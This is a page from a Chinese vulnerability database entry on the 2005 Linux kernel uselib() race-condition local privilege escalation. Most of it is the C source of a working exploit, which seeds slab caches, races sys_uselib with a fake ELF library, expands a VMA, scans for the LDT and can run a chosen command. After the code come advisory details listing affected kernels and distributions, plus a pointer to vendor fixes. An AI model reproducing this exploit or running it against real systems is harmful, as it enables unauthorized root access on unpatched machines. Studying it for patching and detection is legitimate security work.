		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}


//	make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

	pnum++;
	if(pnum==1) {
		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);
		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}

//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}


//	return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}


//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;

	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;

	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}


//	sig handlers
void segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}


//	child reap
void reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}


//	sometimes I get the VMAs in reversed order...
//	so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
	map_flags = 0;
	check_vma_flags();
}


void check_vma_flags()
{
	if(map_flags) {
		__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	} else {
		__asm__("movl	%0, %%esp" : :"m"(old_esp) );
		goto out;
	}
	signal(SIGSEGV, vreversed);
	val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);

//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;
	if(!silent) {
		printf("\n"); fflush(stdout);
	}

//	try to hit the kmalloc race
	for(;;) {

		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}

		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(libname);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;

//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(r) fatal("munmap lib", 0);
		if(ccnt) goto failed;

		if( !silent && !(pcnt%64) ) {
			printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
			fflush(stdout);
		}
		pcnt++;
	}

//	seems we raced, free mem
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);
	
//	relax kswapd
	sys_gettimeofday(&tm1, NULL);
	for(;;) {
		sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if( wtime*1000000U <= (unsigned)delta ) break;
	}

//	we need to check the PROT_EXEC flag
	map_flags = PROT_EXEC;
	check_vma_flags();
	if(!map_flags) {
		printf("\n    VMAs reversed"); fflush(stdout);
	}

//	write protect brk's VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|map_flags);
	if(-1==r) { fatal("mprotect brk", 0); }

//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) {
			fatal("mremap: expand VMA", 0);
		} else {
			sz -= PAGE_SIZE;
			goto expand;
		}
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);

//	try to figure kernel layout
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);
	scan_mm_start();

failed:
	fatal("try again", 0);

}


//	make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//	make our elf library
	umask(022);
	unlink(libname);
	fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}


//	move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);

//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	if(map_base)
		map_addr = map_base;
	else
		map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
		old_esp, task_size, map_base); fflush(stdout);

//	check physical mem & prepare
	sysinfo(&si);
	addr_min = task_size + si.totalram;
	addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
	addr_max = addr_min + si.totalram;
	if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
		addr_max = 0xffffd000;

	printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
	max_page = (addr_max - addr_min) / PAGE_SIZE;
	pagemap = malloc( max_page + 32 );
	if(!pagemap) fatal("malloc pagemap", 1);
	memset(pagemap, 0, max_page + 32);

//	go go
	make_lib();
	exploitme();
}


//	move stack down #1
void prepare()
{
unsigned p=0;

	environ = myenv;

	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;

	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);

	prepare_finish();
}


void chldcnt(int v)
{
	ccnt++;
}


//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

	__asm__("movl	%%esp, %0" : : "m"(old_esp) );

	old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
	old_esp = map_base? map_base : old_esp;

	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;

		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;

		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			if(!c) printf("\n");
			printf("\r    child %d VMAs %d", val, c);
			fflush(stdout);
		}
		c++;
	}
	printf("\r    child %d VMAs %d", val, c);
	fflush(stdout);
	kill(getppid(), SIGUSR1);
	for(;;) pause();
}


//	empty SLAB caches
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	printf("\n[+] SLAB cleanup"); fflush(stdout);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid)
			do_wipe();

		while(!ccnt) sys_sched_yield();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

    

- 漏洞信息

12791
Linux Kernel sys_uselib Binary Format Loader Local Privilege Escalation
Exploit Public

- 漏洞描述

- 时间线

2005-01-07 Unknow
2005-03-22 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Linux kernel Uselib() Local Privilege Escalation Vulnerability
Race Condition Error 12190
No Yes
2005-01-07 12:00:00 2007-01-18 02:41:00
Discovery is credited to Paul Starzetz <ihaquer@isec.pl>.

- 受影响的程序版本

Ubuntu Ubuntu Linux 4.1 ppc
Ubuntu Ubuntu Linux 4.1 ia64
Ubuntu Ubuntu Linux 4.1 ia32
SuSE SUSE Linux Enterprise Server 8
+ Linux kernel 2.4.21
+ Linux kernel 2.4.19
S.u.S.E. Novell Linux Desktop 9.0
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
S.u.S.E. Linux Enterprise Server 9
S.u.S.E. Linux Desktop 1.0
S.u.S.E. Linux 8.1
RedHat Linux 9.0 i386
RedHat Linux 7.3 i386
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux ES 3
RedHat Desktop 4.0
RedHat Desktop 3.0
Red Hat Fedora Core3
Red Hat Fedora Core2
Red Hat Fedora Core1
Red Hat Enterprise Linux AS 4
Red Hat Enterprise Linux AS 3
Mandriva Linux Mandrake 10.1 x86_64
Mandriva Linux Mandrake 10.1
Mandriva Linux Mandrake 10.0 AMD64
Mandriva Linux Mandrake 10.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
MandrakeSoft Multi Network Firewall 2.0
MandrakeSoft Corporate Server 3.0
MandrakeSoft Corporate Server 2.1 x86_64
MandrakeSoft Corporate Server 2.1
Linux kernel 2.6.10 rc2
Linux kernel 2.6.9
Linux kernel 2.6.8 rc3
Linux kernel 2.6.8 rc2
Linux kernel 2.6.8 rc1
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
Linux kernel 2.6.8
Linux kernel 2.6.7 rc1
Linux kernel 2.6.7
Linux kernel 2.6.6 rc1
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.1 -rc2
Linux kernel 2.6.1 -rc1
Linux kernel 2.6.1
Linux kernel 2.6 .10
Linux kernel 2.6 -test9-CVS
Linux kernel 2.6 -test9
Linux kernel 2.6 -test8
Linux kernel 2.6 -test7
Linux kernel 2.6 -test6
Linux kernel 2.6 -test5
Linux kernel 2.6 -test4
Linux kernel 2.6 -test3
Linux kernel 2.6 -test2
Linux kernel 2.6 -test11
Linux kernel 2.6 -test10
Linux kernel 2.6 -test1
Linux kernel 2.6
Linux kernel 2.4.29 -rc2
Linux kernel 2.4.28
Linux kernel 2.4.27 -pre5
Linux kernel 2.4.27 -pre4
Linux kernel 2.4.27 -pre3
Linux kernel 2.4.27 -pre2
Linux kernel 2.4.27 -pre1
Linux kernel 2.4.27
Linux kernel 2.4.26
Linux kernel 2.4.25
Linux kernel 2.4.24 -ow1
Linux kernel 2.4.24
Linux kernel 2.4.23 -pre9
Linux kernel 2.4.23 -ow2
Linux kernel 2.4.23
Linux kernel 2.4.22
+ Devil-Linux Devil-Linux 1.0.5
+ Devil-Linux Devil-Linux 1.0.4
+ Mandriva Linux Mandrake 9.2 amd64
+ Mandriva Linux Mandrake 9.2
+ Red Hat Fedora Core1
+ Slackware Linux 9.1
Linux kernel 2.4.21 pre7
Linux kernel 2.4.21 pre4
+ Mandriva Linux Mandrake 9.1 ppc
+ Mandriva Linux Mandrake 9.1
Linux kernel 2.4.21 pre1
Linux kernel 2.4.21
+ Conectiva Linux 9.0
+ Mandriva Linux Mandrake 9.1 ppc
+ Mandriva Linux Mandrake 9.1
+ Red Hat Enterprise Linux AS 3
+ RedHat Desktop 3.0
+ RedHat Enterprise Linux ES 3
+ RedHat Enterprise Linux WS 3
+ S.u.S.E. Linux Personal 9.0 x86_64
+ S.u.S.E. Linux Personal 9.0
+ SuSE SUSE Linux Enterprise Server 8
Linux kernel 2.4.20
+ CRUX CRUX Linux 1.0
+ Gentoo Linux 1.4
+ Gentoo Linux 1.2
+ RedHat Linux 9.0 i386
+ Slackware Linux 9.0
+ WOLK WOLK 4.4 s
Linux kernel 2.4.19 -pre6
Linux kernel 2.4.19 -pre5
Linux kernel 2.4.19 -pre4
Linux kernel 2.4.19 -pre3
Linux kernel 2.4.19 -pre2
Linux kernel 2.4.19 -pre1
Linux kernel 2.4.19
Linux kernel 2.4.18 pre-8
Linux kernel 2.4.18 pre-7
Linux kernel 2.4.18 pre-6
Linux kernel 2.4.18 pre-5
Linux kernel 2.4.18 pre-4
Linux kernel 2.4.18 pre-3
Linux kernel 2.4.18 pre-2
Linux kernel 2.4.18 pre-1
Linux kernel 2.4.18 x86
Linux kernel 2.4.18
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
+ Caldera OpenLinux Server 3.1.1
+ Caldera OpenLinux Workstation 3.1.1
Linux kernel 2.4.12
+ Conectiva Linux 7.0
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
+ RedHat Linux 7.2
+ S.u.S.E. Linux 7.2
+ S.u.S.E. Linux 7.1
Linux kernel 2.4.6
Linux kernel 2.4.5
+ Slackware Linux 8.0
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.2
Linux kernel 2.4.1
Linux kernel 2.4 .0-test9
Linux kernel 2.4 .0-test8
Linux kernel 2.4 .0-test7
Linux kernel 2.4 .0-test6
Linux kernel 2.4 .0-test5
Linux kernel 2.4 .0-test4
Linux kernel 2.4 .0-test3
Linux kernel 2.4 .0-test2
Linux kernel 2.4 .0-test12
Linux kernel 2.4 .0-test11
Linux kernel 2.4 .0-test10
Linux kernel 2.4 .0-test1
Linux kernel 2.4
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0
Conectiva Linux 10.0
Avaya S8710 R2.0.1
Avaya S8710 R2.0.0
Avaya S8700 R2.0.1
Avaya S8700 R2.0.0
Avaya S8500 R2.0.1
Avaya S8500 R2.0.0
Avaya S8300 R2.0.1
Avaya S8300 R2.0.0
Avaya Network Routing
Avaya Modular Messaging (MSS) 2.0
Avaya Modular Messaging (MSS) 1.1
Avaya MN100
Avaya Intuity LX
Avaya Converged Communications Server 2.0

- 漏洞讨论

Linux kernel is reported prone to a local privilege-escalation vulnerability. This issue arises in the 'uselib()' functions of the Linux binary-format loader as a result of a race condition. Successful exploitation of this vulnerability can allow a local attacker to gain elevated privileges on a vulnerable computer.

The ELF and a.out loaders are reportedly affected by this vulnerability.

- 漏洞利用

The following proof of concept and exploit are available:

- 解决方案

Please see the referenced advisories for information on obtaining and applying the appropriate updates.


Linux kernel 2.4.17

Linux kernel 2.4.20

Linux kernel 2.4.21

Linux kernel 2.4.22

Linux kernel 2.4.26

Linux kernel 2.4.5

Linux kernel 2.6.3

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站